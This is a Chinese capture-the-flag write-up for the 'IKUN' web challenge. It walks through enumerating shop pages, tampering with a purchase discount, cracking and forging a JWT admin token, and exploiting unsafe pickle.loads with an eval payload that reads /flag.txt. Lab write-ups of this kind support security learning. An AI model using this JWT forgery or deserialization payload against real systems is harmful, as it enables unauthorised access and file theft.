1. 程式人生 > 實用技巧 >IKUN python 反序列化

IKUN python 反序列化

題目

過程
1.一開始提示說要買到V6,觀察原始碼,發現/static/img/lv/lv4.png。註冊之後嘗試尋找V6。
觀察url發現/shop?page=2。嘗試寫指令碼匹配一下。發現在第181頁。

import requests
url="http://20573976-f06b-4718-9d26-89a9471c808b.node3.buuoj.cn/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if('lv6.png') in r.text:
        print(i)
        break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

2.嘗試購買,發現錢不夠,抓包看一下。修改折扣,顯示該頁面,只允許admin訪問即為購買成功。


3.發現是jwt加密,放到jwt.io這個網站解密一下。

這裡是我的註冊名,ikun,理所應當改成admin,一開始不知道jwt的密碼,就算是修改了也不對,還以為是思路錯了。
破解jwt密碼:github直接搜尋“c-jwt-cracker-master”,裡面有指令碼可以直接使用。

密碼為1Kun,右側修改成如下:

4.放包,看到一鍵成為大會員。檢視原始碼,發現一個zip。

下載下來發現是原始碼洩露,注意到admin.py

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

這裡是python的反序列化
payload:

# coding:utf-8 
#version:python2.7
import pickle
import urllib

class Test(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()" ,))

a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

執行後是
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
對當前頁面抓包,將結果放到become裡面,放包。

得到flag